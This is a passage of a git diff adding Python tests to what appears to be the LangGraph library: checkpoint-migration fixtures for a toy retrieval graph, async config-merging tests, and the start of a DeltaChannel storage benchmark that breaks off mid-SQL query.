"1f00fe48-5058-6a46-8000-086bffc73797", + } + }, + pending_writes=[ + ( + "baecc0e3-ea00-0e00-9436-e33cd2527faf", + "query", + "analyzed: query: what is weather in sf", + ), + ( + "baecc0e3-ea00-0e00-9436-e33cd2527faf", + "analyzer_one", + "analyzer_one", + ), + ("96b7bfe4-269f-092c-e685-14dba6a27271", "docs", ["doc3", "doc4"]), + ( + "96b7bfe4-269f-092c-e685-14dba6a27271", + "retriever_two", + "retriever_two", + ), + ], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fe48-5058-6a46-8000-086bffc73797", + } + }, + checkpoint={ + "v": 2, + "ts": "2025-04-02T17:04:20.717827+00:00", + "id": "1f00fe48-5058-6a46-8000-086bffc73797", + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.23383372151016169", + "query": "00000000000000000000000000000002.0.706632616485588", + "start:rewrite_query": "00000000000000000000000000000002.0.3082066433110763", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.9575279209966122" + }, + }, + "channel_values": { + "query": "what is weather in sf", + "start:rewrite_query": "__start__", + }, + }, + metadata={ + "source": "loop", + "step": 0, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fe48-5057-62a4-bfff-1883a92a3e41", + } + }, + pending_writes=[ + ( + "058cf6d6-a83c-6509-b398-5dde0b6c5773", + "query", + "query: what is weather in sf", + ), + ( + "058cf6d6-a83c-6509-b398-5dde0b6c5773", + "rewrite_query", + "rewrite_query", + ), + ( + "058cf6d6-a83c-6509-b398-5dde0b6c5773", + "branch:to:retriever_two", + "rewrite_query", + ), + ], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00fe48-5057-62a4-bfff-1883a92a3e41", + } + }, + checkpoint={ + "v": 2, + "ts": "2025-04-02T17:04:20.717221+00:00", + "id": "1f00fe48-5057-62a4-bfff-1883a92a3e41", + "channel_versions": { + "__start__": "00000000000000000000000000000001.0.9575279209966122" + }, + "versions_seen": {"__input__": {}}, + "channel_values": {"__start__": {"query": "what is weather in sf"}}, + }, + metadata={ + "source": "input", + "step": -1, + "parents": {}, + }, + parent_config=None, + pending_writes=[ + ( + "891e8564-d78f-7fb2-f15d-bce2a0ddf1c6", + "query", + "what is weather in sf", + ), + ( + "891e8564-d78f-7fb2-f15d-bce2a0ddf1c6", + "start:rewrite_query", + "__start__", + ), + ], + ), + ], + "2-quadratic": [ + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00ffbe-546a-64f0-8004-d2d4e06b6fb6", + } + }, + checkpoint={ + "v": 1, + "ts": "2025-04-02T19:51:40.630535+00:00", + "id": "1f00ffbe-546a-64f0-8004-d2d4e06b6fb6", + "channel_values": { + "query": "analyzed: query: what is weather in sf", + "answer": "doc1,doc2,doc3,doc4", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "qa": "qa", + }, + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.141080617837112", + "query": "00000000000000000000000000000004.0.9004905790383284", + "start:rewrite_query": "00000000000000000000000000000003.0.013109117892399547", + "rewrite_query": "00000000000000000000000000000004.0.1679336326485974", + "branch:rewrite_query:rewrite_query_then:retriever_two": "00000000000000000000000000000004.0.7474512867042074", + "analyzer_one": "00000000000000000000000000000005.0.5817293698381076", + "docs": "00000000000000000000000000000005.0.9650795030435029", + "retriever_two": "00000000000000000000000000000005.0.77101858493518", + "retriever_one": "00000000000000000000000000000006.0.4984661612084784", + "answer": "00000000000000000000000000000006.0.6244466008661432", + "qa": "00000000000000000000000000000006.0.06630110662217248", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.6759219622820284" + }, + "rewrite_query": { + "start:rewrite_query": "00000000000000000000000000000002.0.32002588286540445" + }, + "analyzer_one": { + "rewrite_query": "00000000000000000000000000000003.0.32578323811902354" + }, + "retriever_two": { + "branch:rewrite_query:rewrite_query_then:retriever_two": "00000000000000000000000000000003.0.8992241767805405" + }, + "retriever_one": { + "analyzer_one": "00000000000000000000000000000004.0.2684613370070208" + }, + "__interrupt__": { + "query": "00000000000000000000000000000004.0.9004905790383284", + "docs": "00000000000000000000000000000005.0.9650795030435029", + "__start__": "00000000000000000000000000000002.0.141080617837112", + "rewrite_query": "00000000000000000000000000000004.0.1679336326485974", + "analyzer_one": "00000000000000000000000000000005.0.5817293698381076", + "retriever_one": "00000000000000000000000000000005.0.222301724202566", + "retriever_two": "00000000000000000000000000000005.0.77101858493518", + "start:rewrite_query": "00000000000000000000000000000003.0.013109117892399547", + "branch:rewrite_query:rewrite_query_then:retriever_two": "00000000000000000000000000000004.0.7474512867042074", + }, + "qa": { + "retriever_one": "00000000000000000000000000000005.0.222301724202566" + }, + }, + }, + metadata={ + "source": "loop", + "step": 4, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00ffbe-5466-61ac-8003-7ec684cd12cc", + } + }, + pending_writes=[], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00ffbe-5466-61ac-8003-7ec684cd12cc", + } + }, + checkpoint={ + "v": 1, + "ts": "2025-04-02T19:51:40.628817+00:00", + "id": "1f00ffbe-5466-61ac-8003-7ec684cd12cc", + "channel_values": { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "retriever_one": "retriever_one", + }, + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.141080617837112", + "query": "00000000000000000000000000000004.0.9004905790383284", + "start:rewrite_query": "00000000000000000000000000000003.0.013109117892399547", + "rewrite_query": "00000000000000000000000000000004.0.1679336326485974", + "branch:rewrite_query:rewrite_query_then:retriever_two": "00000000000000000000000000000004.0.7474512867042074", + "analyzer_one": "00000000000000000000000000000005.0.5817293698381076", + "docs": "00000000000000000000000000000005.0.9650795030435029", + "retriever_two": "00000000000000000000000000000005.0.77101858493518", + "retriever_one": "00000000000000000000000000000005.0.222301724202566", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.6759219622820284" + }, + "rewrite_query": { + "start:rewrite_query": "00000000000000000000000000000002.0.32002588286540445" + }, + "analyzer_one": { + "rewrite_query": "00000000000000000000000000000003.0.32578323811902354" + }, + "retriever_two": { + "branch:rewrite_query:rewrite_query_then:retriever_two": "00000000000000000000000000000003.0.8992241767805405" + }, + "retriever_one": { + "analyzer_one": "00000000000000000000000000000004.0.2684613370070208" + }, + }, + }, + metadata={ + "source": "loop", + "step": 3, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00ffbe-5465-6248-8002-ee1d8bdbbee5", + } + }, + pending_writes=[ + ( + "369e94b1-77d1-d67a-ab59-23d1ba20ee73", + "__interrupt__", + [ + Interrupt( + value="", + resumable=True, + ns=["qa:369e94b1-77d1-d67a-ab59-23d1ba20ee73"], # type: ignore[arg-type] + ) + ], + ), + ("00000000-0000-0000-0000-000000000000", "__resume__", ""), + ("369e94b1-77d1-d67a-ab59-23d1ba20ee73", "__resume__", [""]), + ( + "369e94b1-77d1-d67a-ab59-23d1ba20ee73", + "answer", + "doc1,doc2,doc3,doc4", + ), + ("369e94b1-77d1-d67a-ab59-23d1ba20ee73", "qa", "qa"), + ], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00ffbe-5465-6248-8002-ee1d8bdbbee5", + } + }, + checkpoint={ + "v": 1, + "ts": "2025-04-02T19:51:40.628408+00:00", + "id": "1f00ffbe-5465-6248-8002-ee1d8bdbbee5", + "channel_values": { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc3", "doc4"], + "analyzer_one": "analyzer_one", + "retriever_two": "retriever_two", + }, + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.141080617837112", + "query": "00000000000000000000000000000004.0.9004905790383284", + "start:rewrite_query": "00000000000000000000000000000003.0.013109117892399547", + "rewrite_query": "00000000000000000000000000000004.0.1679336326485974", + "branch:rewrite_query:rewrite_query_then:retriever_two": "00000000000000000000000000000004.0.7474512867042074", + "analyzer_one": "00000000000000000000000000000004.0.2684613370070208", + "docs": "00000000000000000000000000000004.0.37458911821520957", + "retriever_two": "00000000000000000000000000000004.0.7340649978617967", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.6759219622820284" + }, + "rewrite_query": { + "start:rewrite_query": "00000000000000000000000000000002.0.32002588286540445" + }, + "analyzer_one": { + "rewrite_query": "00000000000000000000000000000003.0.32578323811902354" + }, + "retriever_two": { + "branch:rewrite_query:rewrite_query_then:retriever_two": "00000000000000000000000000000003.0.8992241767805405" + }, + }, + }, + metadata={ + "source": "loop", + "step": 2, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00ffbe-536a-6dca-8001-c7e021a73244", + } + }, + pending_writes=[ + ("601f2099-cb23-41f9-ae64-9b4e4a6b675e", "docs", ["doc1", "doc2"]), + ( + "601f2099-cb23-41f9-ae64-9b4e4a6b675e", + "retriever_one", + "retriever_one", + ), + ], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00ffbe-536a-6dca-8001-c7e021a73244", + } + }, + checkpoint={ + "v": 1, + "ts": "2025-04-02T19:51:40.525915+00:00", + "id": "1f00ffbe-536a-6dca-8001-c7e021a73244", + "channel_values": { + "query": "query: what is weather in sf", + "rewrite_query": "rewrite_query", + "branch:rewrite_query:rewrite_query_then:retriever_two": "rewrite_query", + }, + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.141080617837112", + "query": "00000000000000000000000000000003.0.8982471206042032", + "start:rewrite_query": "00000000000000000000000000000003.0.013109117892399547", + "rewrite_query": "00000000000000000000000000000003.0.32578323811902354", + "branch:rewrite_query:rewrite_query_then:retriever_two": "00000000000000000000000000000003.0.8992241767805405", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.6759219622820284" + }, + "rewrite_query": { + "start:rewrite_query": "00000000000000000000000000000002.0.32002588286540445" + }, + }, + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00ffbe-5369-6de4-8000-70bd3810f0ca", + } + }, + pending_writes=[ + ( + "88757475-bc8c-934c-7d18-921cb2d94864", + "query", + "analyzed: query: what is weather in sf", + ), + ( + "88757475-bc8c-934c-7d18-921cb2d94864", + "analyzer_one", + "analyzer_one", + ), + ("53c60600-588b-e49e-a9d2-bbcbf30a7497", "docs", ["doc3", "doc4"]), + ( + "53c60600-588b-e49e-a9d2-bbcbf30a7497", + "retriever_two", + "retriever_two", + ), + ], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00ffbe-5369-6de4-8000-70bd3810f0ca", + } + }, + checkpoint={ + "v": 1, + "ts": "2025-04-02T19:51:40.525508+00:00", + "id": "1f00ffbe-5369-6de4-8000-70bd3810f0ca", + "channel_values": { + "query": "what is weather in sf", + "start:rewrite_query": "__start__", + }, + "channel_versions": { + "__start__": "00000000000000000000000000000002.0.141080617837112", + "query": "00000000000000000000000000000002.0.06948551802156189", + "start:rewrite_query": "00000000000000000000000000000002.0.32002588286540445", + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": "00000000000000000000000000000001.0.6759219622820284" + }, + }, + }, + metadata={ + "source": "loop", + "step": 0, + "parents": {}, + }, + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00ffbe-5368-6c0a-bfff-ac22bea4c512", + } + }, + pending_writes=[ + ( + "3bb470dd-9bf8-6216-b5fb-e50162991da1", + "query", + "query: what is weather in sf", + ), + ( + "3bb470dd-9bf8-6216-b5fb-e50162991da1", + "rewrite_query", + "rewrite_query", + ), + ( + "3bb470dd-9bf8-6216-b5fb-e50162991da1", + "branch:rewrite_query:rewrite_query_then:retriever_two", + "rewrite_query", + ), + ], + ), + CheckpointTuple( + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": "1f00ffbe-5368-6c0a-bfff-ac22bea4c512", + } + }, + checkpoint={ + "v": 1, + "ts": "2025-04-02T19:51:40.525051+00:00", + "id": "1f00ffbe-5368-6c0a-bfff-ac22bea4c512", + "channel_values": {"__start__": {"query": "what is weather in sf"}}, + "channel_versions": { + "__start__": "00000000000000000000000000000001.0.6759219622820284" + }, + "versions_seen": {"__input__": {}}, + }, + metadata={ + "source": "input", + "step": -1, + "parents": {}, + }, + parent_config=None, + pending_writes=[ + ( + "aa8c5e8a-da6f-ccb1-f8a9-3b145cdfe7a4", + "query", + "what is weather in sf", + ), + ( + "aa8c5e8a-da6f-ccb1-f8a9-3b145cdfe7a4", + "start:rewrite_query", + "__start__", + ), + ], + ), + ], +} + + +def make_state_graph() -> StateGraph: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], sorted_add] + + def rewrite_query(data: State) -> State: + return {"query": f"query: {data['query']}"} + + def analyzer_one(data: State) -> State: + return {"query": f"analyzed: {data['query']}"} + + def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + def retriever_two(data: State) -> State: + time.sleep(0.1) + return {"docs": ["doc3", "doc4"]} + + def qa(data: State) -> State: + interrupt("") + return {"answer": ",".join(data["docs"])} + + def rewrite_query_then(data: State) -> Literal["retriever_two"]: + return "retriever_two" + + workflow = StateGraph(State) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_conditional_edges("rewrite_query", rewrite_query_then) + workflow.add_edge("retriever_one", "qa") + workflow.set_finish_point("qa") + return workflow + + +@NEEDS_CONTEXTVARS +@pytest.mark.parametrize("source,target", [("2-start:*", "3"), ("2-quadratic", "3")]) +def test_migrate_checkpoints(source: str, target: str) -> None: + # Check that the migration function works as expected + builder = make_state_graph() + graph = builder.compile() + + source_checkpoints = list(reversed(SAVED_CHECKPOINTS[source])) + target_checkpoints = list(reversed(SAVED_CHECKPOINTS[target])) + assert len(source_checkpoints) == len(target_checkpoints) + for idx, (source_checkpoint, target_checkpoint) in enumerate( + zip(source_checkpoints, target_checkpoints) + ): + # copy the checkpoint to avoid modifying the original + migrated = copy_checkpoint(source_checkpoint.checkpoint) + # migrate the checkpoint + graph._migrate_checkpoint(migrated) + # replace values that don't need to match exactly + migrated["id"] = AnyStr() + migrated["ts"] = AnyStr() + migrated["v"] = AnyInt() + for k in migrated["channel_values"]: + migrated["channel_values"][k] = AnyObject() + for v in migrated["channel_versions"]: + migrated["channel_versions"][v] = AnyStr( + migrated["channel_versions"][v].split(".")[0] + ) + for c in migrated["versions_seen"]: + for v in migrated["versions_seen"][c]: + migrated["versions_seen"][c][v] = AnyStr( + migrated["versions_seen"][c][v].split(".")[0] + ) + # check that the migrated checkpoint matches the target checkpoint + assert migrated == target_checkpoint.checkpoint, ( + f"Checkpoint mismatch at index {idx}" + ) + + +@NEEDS_CONTEXTVARS +def test_latest_checkpoint_state_graph( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + builder = make_state_graph() + app = builder.compile(checkpointer=sync_checkpointer) + config = {"configurable": {"thread_id": "1"}} + + assert [ + *app.stream({"query": "what is weather in sf"}, config, durability="async") + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + { + "__interrupt__": ( + Interrupt( + value="", + id=AnyStr(), + ), + ) + }, + ] + + assert [*app.stream(Command(resume=""), config, durability="async")] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + # check history with current checkpoints matches expected history + history = [*app.get_state_history(config)] + expected_history = get_expected_history() + assert len(history) == len(expected_history) + assert history[0] == expected_history[0] + assert history[1] == expected_history[1] + assert history[2] == expected_history[2] + assert history[3] == expected_history[3] + assert history[4] == expected_history[4] + assert history[5] == expected_history[5] + + +@NEEDS_CONTEXTVARS +async def test_latest_checkpoint_state_graph_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + builder = make_state_graph() + app = builder.compile(checkpointer=async_checkpointer) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + async for c in app.astream( + {"query": "what is weather in sf"}, config, durability="async" + ) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + { + "__interrupt__": ( + Interrupt( + value="", + id=AnyStr(), + ), + ) + }, + ] + + assert [ + c async for c in app.astream(Command(resume=""), config, durability="async") + ] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + # check history with current checkpoints matches expected history + history = [c async for c in app.aget_state_history(config)] + expected_history = get_expected_history() + assert len(history) == len(expected_history) + assert history[0] == expected_history[0] + assert history[1] == expected_history[1] + assert history[2] == expected_history[2] + assert history[3] == expected_history[3] + assert history[4] == expected_history[4] + assert history[5] == expected_history[5] + + +@NEEDS_CONTEXTVARS +@pytest.mark.parametrize("checkpoint_version", ["3", "2-start:*", "2-quadratic"]) +def test_saved_checkpoint_state_graph( + sync_checkpointer: BaseCheckpointSaver, + checkpoint_version: str, +) -> None: + builder = make_state_graph() + app = builder.compile(checkpointer=sync_checkpointer) + + thread1 = "1" + config = {"configurable": {"thread_id": thread1, "checkpoint_ns": ""}} + + # save checkpoints + parent_id: str | None = None + for checkpoint in reversed(SAVED_CHECKPOINTS[checkpoint_version]): + grouped_writes = defaultdict(list) + for write in checkpoint.pending_writes: + grouped_writes[write[0]].append(write[1:]) + for tid, group in grouped_writes.items(): + sync_checkpointer.put_writes(checkpoint.config, group, tid) + sync_checkpointer.put( + patch_configurable(config, {"checkpoint_id": parent_id}), + checkpoint.checkpoint, + checkpoint.metadata, + checkpoint.checkpoint["channel_versions"], + ) + parent_id = checkpoint.checkpoint["id"] + + # load history + history = [*app.get_state_history(config)] + # check history with saved checkpoints matches expected history + exc_task_results: int = 0 + if checkpoint_version == "2-start:*": + exc_task_results = 1 + elif checkpoint_version == "2-quadratic": + exc_task_results = 2 + expected_history = get_expected_history(exc_task_results=exc_task_results) + assert len(history) == len(expected_history) + assert history[0] == expected_history[0] + assert history[1] == expected_history[1] + assert history[2] == expected_history[2] + assert history[3] == expected_history[3] + assert history[4] == expected_history[4] + assert history[5] == expected_history[5] + + # resume from 2nd to latest checkpoint + assert [*app.stream(Command(resume=""), history[1].config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + # new checkpoint should match the latest checkpoint in history + latest_state = app.get_state(config) + assert ( + StateSnapshot( + values=latest_state.values, + next=latest_state.next, + config=patch_configurable(latest_state.config, {"checkpoint_id": AnyStr()}), + metadata=AnyDict(latest_state.metadata), + created_at=AnyStr(), + parent_config=latest_state.parent_config, + tasks=latest_state.tasks, + interrupts=latest_state.interrupts, + ) + == history[0] + ) + + +@NEEDS_CONTEXTVARS +@pytest.mark.parametrize("checkpoint_version", ["3", "2-start:*", "2-quadratic"]) +async def test_saved_checkpoint_state_graph_async( + async_checkpointer: BaseCheckpointSaver, + checkpoint_version: str, +) -> None: + builder = make_state_graph() + app = builder.compile(checkpointer=async_checkpointer) + + thread1 = "1" + config = {"configurable": {"thread_id": thread1, "checkpoint_ns": ""}} + + # save checkpoints + parent_id: str | None = None + for checkpoint in reversed(SAVED_CHECKPOINTS[checkpoint_version]): + grouped_writes = defaultdict(list) + for write in checkpoint.pending_writes: + grouped_writes[write[0]].append(write[1:]) + for tid, group in grouped_writes.items(): + await async_checkpointer.aput_writes(checkpoint.config, group, tid) + await async_checkpointer.aput( + patch_configurable(config, {"checkpoint_id": parent_id}), + checkpoint.checkpoint, + checkpoint.metadata, + checkpoint.checkpoint["channel_versions"], + ) + parent_id = checkpoint.checkpoint["id"] + + # load history + history = [c async for c in app.aget_state_history(config)] + # check history with saved checkpoints matches expected history + exc_task_results: int = 0 + if checkpoint_version == "2-start:*": + exc_task_results = 1 + elif checkpoint_version == "2-quadratic": + exc_task_results = 2 + expected_history = get_expected_history(exc_task_results=exc_task_results) + assert len(history) == len(expected_history) + assert history[0] == expected_history[0] + assert history[1] == expected_history[1] + assert history[2] == expected_history[2] + assert history[3] == expected_history[3] + assert history[4] == expected_history[4] + assert history[5] == expected_history[5] + + # resume from 2nd to latest checkpoint + assert [c async for c in app.astream(Command(resume=""), history[1].config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + # new checkpoint should match the latest checkpoint in history + latest_state = await app.aget_state(config) + assert ( + StateSnapshot( + values=latest_state.values, + next=latest_state.next, + config=patch_configurable(latest_state.config, {"checkpoint_id": AnyStr()}), + metadata=AnyDict(latest_state.metadata), + created_at=AnyStr(), + parent_config=latest_state.parent_config, + tasks=latest_state.tasks, + interrupts=latest_state.interrupts, + ) + == history[0] + ) diff --git a/libs/langgraph/tests/test_config_async.py b/libs/langgraph/tests/test_config_async.py new file mode 100644 index 0000000..6ad51c5 --- /dev/null +++ b/libs/langgraph/tests/test_config_async.py @@ -0,0 +1,116 @@ +import pytest +from langchain_core.callbacks import AsyncCallbackManager, BaseCallbackHandler + +from langgraph._internal._config import get_async_callback_manager_for_config +from langgraph.graph import StateGraph + +pytestmark = pytest.mark.anyio + + +def test_new_async_manager_includes_tags() -> None: + config = {"callbacks": None} + manager = get_async_callback_manager_for_config(config, tags=["x", "y"]) + assert isinstance(manager, AsyncCallbackManager) + assert manager.inheritable_tags == ["x", "y"] + + +def test_new_async_manager_merges_tags_with_config() -> None: + config = {"callbacks": None, "tags": ["a"]} + manager = get_async_callback_manager_for_config(config, tags=["b"]) + assert manager.inheritable_tags == ["a", "b"] + + +class _TrackingCallback(BaseCallbackHandler): + def __init__(self) -> None: + self.called = False + + def on_chain_start(self, *args, **kwargs) -> None: # noqa: ANN002, ANN003 + self.called = True + + +async def test_with_config_callbacks_preserved_in_astream_events() -> None: + """A callback bound via .with_config(...) must survive when + astream_events injects its own internal callback handler. + + Pre-fix: ensure_config overwrites the callbacks key, dropping the + bound handler. Post-fix: the handler list is merged. + """ + builder = StateGraph(dict) + builder.add_node("node", lambda state: state) + builder.add_edge("__start__", "node") + cb = _TrackingCallback() + graph = builder.compile().with_config({"callbacks": [cb]}) + async for _ in graph.astream_events({}, version="v2"): + pass + assert cb.called, "user-bound callback was dropped by ensure_config overwrite" + + +async def test_with_config_configurable_preserved_on_invoke() -> None: + """A configurable key bound via .with_config(...) must survive when + invoke-time config supplies a different configurable key. + + Pre-fix: ensure_config overwrites the entire configurable dict. + Post-fix: the two dicts are shallow-merged per key. + """ + builder = StateGraph(dict) + captured: dict = {} + + def node(state, config): # noqa: ANN001 + captured.update(config.get("configurable") or {}) + return state + + builder.add_node("node", node) + builder.add_edge("__start__", "node") + graph = builder.compile().with_config({"configurable": {"ls_agent_type": "root"}}) + await graph.ainvoke({}, {"configurable": {"thread_id": "T1"}}) + assert captured.get("ls_agent_type") == "root", ( + "bound configurable key was dropped by ensure_config overwrite" + ) + assert captured.get("thread_id") == "T1", "invoke-time key not present" + + +async def test_with_config_metadata_preserved_on_invoke() -> None: + """A metadata key bound via .with_config(...) must survive when + invoke-time config supplies a different metadata key. + + Pre-fix: ensure_config overwrites the entire metadata dict. + Post-fix: the two dicts are shallow-merged per key. + """ + builder = StateGraph(dict) + captured: dict = {} + + def node(state, config): # noqa: ANN001 + captured.update(config.get("metadata") or {}) + return state + + builder.add_node("node", node) + builder.add_edge("__start__", "node") + graph = builder.compile().with_config({"metadata": {"user_id": "U1"}}) + await graph.ainvoke({}, {"metadata": {"correlation_id": "C1"}}) + assert captured.get("user_id") == "U1", ( + "bound metadata key was dropped by ensure_config overwrite" + ) + assert captured.get("correlation_id") == "C1", "invoke-time key not present" + + +async def test_with_config_tags_preserved_on_invoke() -> None: + """Tags bound via .with_config(...) must survive when invoke-time + config supplies its own tags. + + Pre-fix: ensure_config overwrites the entire tags list. + Post-fix: tags are concatenated (matching merge_configs behavior; + no deduplication, no sorting). + """ + builder = StateGraph(dict) + captured: list = [] + + def node(state, config): # noqa: ANN001 + captured.extend(config.get("tags") or []) + return state + + builder.add_node("node", node) + builder.add_edge("__start__", "node") + graph = builder.compile().with_config({"tags": ["bound"]}) + await graph.ainvoke({}, {"tags": ["invoke"]}) + assert "bound" in captured, "bound tag was dropped by ensure_config overwrite" + assert "invoke" in captured, "invoke-time tag not present" diff --git a/libs/langgraph/tests/test_delta_channel_benchmark.py b/libs/langgraph/tests/test_delta_channel_benchmark.py new file mode 100644 index 0000000..0e45ffd --- /dev/null +++ b/libs/langgraph/tests/test_delta_channel_benchmark.py @@ -0,0 +1,321 @@ +"""Benchmark: DeltaChannel — multi-channel reads, mixed snapshot frequencies. + +Run directly: python tests/test_delta_channel_benchmark.py +Run via pytest: pytest tests/test_delta_channel_benchmark.py -s + +Sweeps `(K delta channels, snapshot_frequency strategy, turn count)` and +reports per-scenario read latency, write latency, storage, and peak Python +heap usage during `get_state`. + +Scenarios cover the dimensions where this branch's optimizations matter: + + * K-channel batching — varying K (number of `DeltaChannel`s the graph + reads on hydrate) shows the effect of merging + per-channel reads into a single saver call. + * Mixed frequencies — channels with very different snapshot cadences + in one graph exercise the per-channel chain + bound in stage-2. + * Turn count — chain depth shows how paged stage-1 holds up. +""" + +from __future__ import annotations + +import contextlib +import gc +import os +import sys +import time +import tracemalloc +from typing import Annotated, Any + +import pytest +from langchain_core.messages import HumanMessage +from langgraph.checkpoint.memory import MemorySaver +from typing_extensions import TypedDict + +from langgraph.channels.delta import DeltaChannel +from langgraph.graph import END, StateGraph +from langgraph.graph.message import _messages_delta_reducer + +try: + from langgraph.checkpoint.postgres import PostgresSaver + + _POSTGRES_AVAILABLE = True + _POSTGRES_URI = os.environ.get( + "LANGGRAPH_BENCH_POSTGRES_URI", + "postgres://postgres@localhost:5432/postgres?sslmode=disable", + ) +except ImportError: + _POSTGRES_AVAILABLE = False + + +# --------------------------------------------------------------------------- +# Realistic message payload (~100 tokens / ~400 chars each) +# --------------------------------------------------------------------------- + +_HUMAN_TEMPLATE = ( + "I need help understanding the implications of {topic} on our system " + "architecture. Specifically, I'm concerned about how this interacts with " + "our existing {concern} and whether we need to refactor the {component} " + "layer before proceeding." +) + +_TOPICS = [ + "distributed tracing", + "eventual consistency", + "schema migration", + "backpressure handling", + "idempotency guarantees", +] +_CONCERNS = ["concurrency model", "retry semantics", "ordering guarantees"] +_COMPONENTS = ["persistence", "ingestion", "routing"] + + +def _human_content(i: int) -> str: + return _HUMAN_TEMPLATE.format( + topic=_TOPICS[i % len(_TOPICS)], + concern=_CONCERNS[i % len(_CONCERNS)], + component=_COMPONENTS[i % len(_COMPONENTS)], + ) + + +# --------------------------------------------------------------------------- +# State / graph factory: K DeltaChannel fields with per-channel freqs +# --------------------------------------------------------------------------- + + +def _make_state_cls(freqs: list[int]) -> type: + """Build a TypedDict with one DeltaChannel per entry in `freqs`.""" + fields: dict[str, Any] = {} + for i, freq in enumerate(freqs): + ch = DeltaChannel(_messages_delta_reducer, snapshot_frequency=freq) + fields[f"ch{i}"] = Annotated[list, ch] + return TypedDict( # type: ignore[return-value] + "_BenchState_" + "-".join(str(f) for f in freqs), + fields, + ) + + +def _make_graph(state_cls: type, K: int, checkpointer: Any = None) -> Any: + """Graph: one node, writes a fresh message into every channel each turn.""" + + def fanout(state: Any) -> dict[str, Any]: + i = max(len(state.get(f"ch{j}", [])) for j in range(K)) + # Each channel gets its own copy with a unique id so the reducer + # does meaningful per-channel state accumulation. + return { + f"ch{j}": [HumanMessage(content=_human_content(i), id=f"c{j}_{i}")] + for j in range(K) + } + + g = StateGraph(state_cls) + g.add_node("fanout", fanout) + g.set_entry_point("fanout") + g.add_edge("fanout", END) + return g.compile(checkpointer=checkpointer or MemorySaver()) + + +# --------------------------------------------------------------------------- +# Storage / memory measurement +# --------------------------------------------------------------------------- + + +def _inmemory_blob_bytes(saver: MemorySaver) -> int: + return sum( + len(blob) for (_, _, _, _), (_, blob) in saver.blobs.items() if blob is not None + ) + + +def _postgres_storage_bytes(saver: Any, thread_id: str) -> int: + """Total bytes across checkpoints / checkpoint_blobs / checkpoint_writes + rows for this `thread_id`. Uses `pg_column_size` for an in-row payload + estimate; faster than full-table size and scoped to the thread.""" + sql = """ + SELECT COALESCE(SUM(pg_column_size(c.*)), 0) + + COALESCE((SELECT SUM(pg_column_size(b.*)) FROM checkpoint_blobs b + WHERE b.thread_id = %s), 0) + + COALESCE((SELECT SUM(pg_column_size(w.*)) FROM checkpoint_writes w + WHERE w.thread_id = 